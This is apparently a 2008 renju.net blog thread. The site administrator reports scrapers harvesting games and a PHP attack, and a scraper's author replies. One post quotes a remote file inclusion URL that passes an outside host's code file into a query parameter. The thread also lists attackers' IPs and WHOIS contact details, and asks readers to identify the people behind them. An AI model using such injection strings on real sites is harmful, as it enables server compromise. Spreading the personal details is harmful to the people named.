|
| Hackers and renju databases | 2008-03-16 18:51:59 |
The renju hacker
Today, when I was doing a routine check on log files of renju.net, I found out that the number of hits is very strange in some days.
Normally it is around 5000 - 10000 hits per day, but sometimes the hits per day can increase to 20 000 without any serious reason ... |
| Ando Meritee | 2008-03-16 23:55:29 |
Already 5 hours passed since I posted this article, and believe it or not, that hacker is still trying so hard - his program has been running for whole day, trying to collect games from renju.net. I think, he already generated some 20 000 hits today.
Maybe because I set a limitation to automated queries, and blocked his ip, his program keeps trying to repeat the failed queries, until the hacker turns it off.
Maybe you can help with finding that person who is doing these things to us. If you have received any e-mail from a person with ip 221.223.64.36 or he has written something into your blogs with such ip, please let me know who that person is. We can be most certain he/she is a renju player because the whole program was built on collecting renju games (moves only, without tournament and player names though).
Also, perhaps anyone of you has seen such self-made database being spread around, that only has the sequences of moves, while no names, tournament information, results etc. Please let me know then. Thanks!
Below is the WHOIS information regarding that IP:
inetnum: 221.216.0.0 - 221.223.255.255
netname: CNCGROUP-BJ
descr: CNCGROUP Beijing province network
descr: China Network Communications Group Corporation
descr: No.156,Fu-Xing-Men-Nei Street,
descr: Beijing 100031
country: CN
admin-c: CH455-AP
tech-c: SY21-AP
mnt-by: APNIC-HM
mnt-lower: MAINT-CNCGROUP-BJ
mnt-routes: MAINT-CNCGROUP-RR
changed: hm-changed@apnic.net 20031119
status: ALLOCATED PORTABLE
changed: hm-changed@apnic.net 20060124
source: APNIC
role: CNCGroup Hostmaster
e-mail: abuse@cnc-noc.net
address: No.156,Fu-Xing-Men-Nei Street,
address: Beijing,100031,P.R.China
nic-hdl: CH455-AP
phone: +86-10-82993155
fax-no: +86-10-82993102
country: CN
admin-c: CH444-AP
tech-c: CH444-AP
changed: abuse@cnc-noc.net 20041119
mnt-by: MAINT-CNCGROUP
source: APNIC
person: sun ying
address: fu xing men nei da jie 97, Xicheng District
address: Beijing 100800
country: CN
phone: +86-10-66030657
fax-no: +86-10-66078815
e-mail: suny@publicf.bta.net.cn
nic-hdl: SY21-AP
mnt-by: MAINT-CNCGROUP-BJ
changed: suny@publicf.bta.net.cn 19980824
changed: hm-changed@apnic.net 20060717
source: APNIC |
| |
| Ando Meritee | 2008-03-30 15:43:11 |
Today, a renju fan from Belarus, with IP 194.158.198.117 of Beltelecom ISP (Minsk city) was doing the same thing - bombing the renju server with massive queries to collect renju games, one query per second, in order to create a self-made renju database with illegal methods.
I cannot understand such behavior. why don't these people just contact us and ask if there is any proper way to get renju databases, especially now that we have announced that in the near future all the games can be downloaded with 1 click.
I hope those people could understand how much effort it has taken to provide this service to the world, and do not abuse the server resources for selfish purposes. |
| |
| Ando Meritee | 2008-04-02 16:02:34 |
Today we had a hacker from Turkey, who is not interested in renju but is merely trying to use the php interface to hack into server.
The example of is hack method is:
http://daiwan.info/~renju/blog/index.php?showtopic=http://66.77.165.68/****.txt?
You can notice, he tries to execute a code through a query string. The hack code is located at http://66.77.165.68/list.txt. You can try to open that page and load the code.
He tried this method 11 times, each with different query.
The hacker's IP: 88.255.107.178.
More about his location:
inetnum: 88.255.107.0 - 88.255.107.255
netname: Narweb
descr: Yahya Kahya M. Kasimpasa Bostani S. N:4 K:2 D:7 Beyoglu Istanbul
The narrow inetnum, fixed time and records can help us detect the hacker in real life easily, but it is not worth the hassle. He is probably a just a kid in a search for some power and control. |
| |
| Ando Meritee | 2008-04-06 14:44:24 |
Despite my article that described the situation about renjunet being bombed by thousands automated queries in order to collect games, those attacks still have not stopped.
These attacks are just wasting server resources, and are unethical.
Therefore, in order to keep the server in good health, we are now blocking all those IPs that have been involved with robot mass-queries of renju games.
Those IPs will be un-blocked the day we publish the official downloadable database. The database is still under development. Yesterday I finished one important step - separating RIF rule games from other types of games. So I can develop different game collections. The most important one of course will be RIF rule games collection. There are over 8000 games now in our database. |
| |
| Oleg Mostovlyansky | 2008-04-09 17:54:38 |
>Today, a renju fan from Belarus, with IP 194.158.198.117 of Beltelecom ISP (Minsk city)
Great news, Ando! No, no - not the "bombing", of course.
But now I definitely know, that in Belarus still are other people (I'm from Minsk too, but this IP is different from our corporate proxy :-) and at 2008-03-30 I did not visit renju.net), who know about renju and take active interest in.
...how to contact with this renju fan?.. |
| |
| Ando Meritee | 2008-04-09 18:01:26 |
haha, indeed. If there is a player who likes renju so much that even made a robot to collect games, maybe he is a big fan - a future renju star of Belarus?
Maybe you can provide some club info or contacts, so he could find you. |
| |
| Vladimir Filinov | 2008-04-10 18:16:23 |
| Ando, hi. I write program RenjuGrabber. Program placed in group Russia on Yahoo :). I not thihking what it "hacking". |
| |
| Oleg Mostovlyansky | 2008-04-10 18:30:05 |
| Ah-ha! Now I know, who is "future renju star of Belarus"! :)) You are welcome! |
| |
| Ando Meritee | 2008-04-10 19:02:01 |
Hello Vladimir. Please remove the option of collecting games from Renjunet then and notify in your renjuplayers forum. We do not want to waste server resources on such robot bombings.
Very soon the proper downloadable database will be available. Then you will be able to download all 8000+ games with 1 click.
Thank you for cooperation! |
| |
| Dmitry Epifanov | 2008-04-10 22:15:12 |
Hmmm, Ando, should it be available before TWC or only after?
Best regards. |
| |
| Vladimir Filinov | 2008-04-10 22:47:46 |
| Hi, Ando. My program not "bombing" your server. Program working only with new games. Only first start - all games. You may tested my program self. |
| |
| Ando Meritee | 2008-04-10 23:23:34 |
Maybe you download "latest games" because you already downloaded most games before but people who use your program first time, will download maybe all 8000 games. The server will be so busy and wasting the bandwidth and resources. Furthermore, every html document with a game diagram is rather big, and your program will ignore and trash everything except the moves string, therefore it is very big waste of data load - it is very unethical to use such method.
People who will use your program are just abusing the server resources, and people who want to browse web manually, will therefore have slower process. The RenjuNet service is for manual users only!
All these programs are considered as malware, and the users with such programs will be blocked permanently. Please inform other users about and please ask them to stop using it for RenjuNet. Thank you for understanding.
I cannot understand, why don't the makers of such programs simply contact us and ask if it is possible to download all games. If we had early interest from more people, the downloadable database version would be ready long time ago! Instead, such secret game collectors are created, making server busy. :(
If someone just wants to practice programming and parsing techniques, I think renjunet is not a proper testing ground for those people. Unless the person is willing to donate money to cover the cost of renjunet bandwidth and resources. As long as renjunet is a free service, people should be thankful it exists, and not abuse it.
Thank you very much! |
| |
| Vladimir Filinov | 2008-04-10 23:52:59 |
| Привет, Андо. Пишу по русски так как боюсь, что не смогу по английски передать то что думаю. Я конечно, могу написать в группе, что ты просил не пользоваться моей программой, но.. большинство людей ее уже скачали и это их личное дело. В опциях программы легко можно исключить твой сайт из обработки. Также можно сказать чтобы скачивать за раз не более определенного кол-ва партий. Естественно, когда можно будет скачать все партии одним кликом надобность в ней сама собой пропадет и призывы не понадобятся. К сожалению, это сейчас единственный способ, чтобы получить базу сайта. На самом деле существует огромное число программ, которые скачивают сайт целиком (в том числе коммерческих) - я еще ни разу не слышал, чтобы владельцы сайтов возражали против этого. Твое право заблокировать любой IP, но это не решит проблемы, так как тебе придется заблокировать также все прокси-сервера. Единственное решение проблемы появление базы как можно в более короткие сроки. С уважением, Владимир |
| |
| Ando Meritee | 2008-04-11 00:32:45 |
I have read your test. Considering the situation, I would be thankful if you could do these 2 things:
- modify your program to exclude renjunet
- post a message to kindly ask users to not download renjunet games with existing program these days, and you can at the same time tell them that soon the 1-click database will be ready. Surely it will be ready at least a week before Team World Championship, hopefully even sooner.
When the 1-click database is ready, I welcome you to create a program that can then read such data format. Then, if you are interested, we could publish such program in renjunet website, too, letting it be popular. What do you think? |
| |
|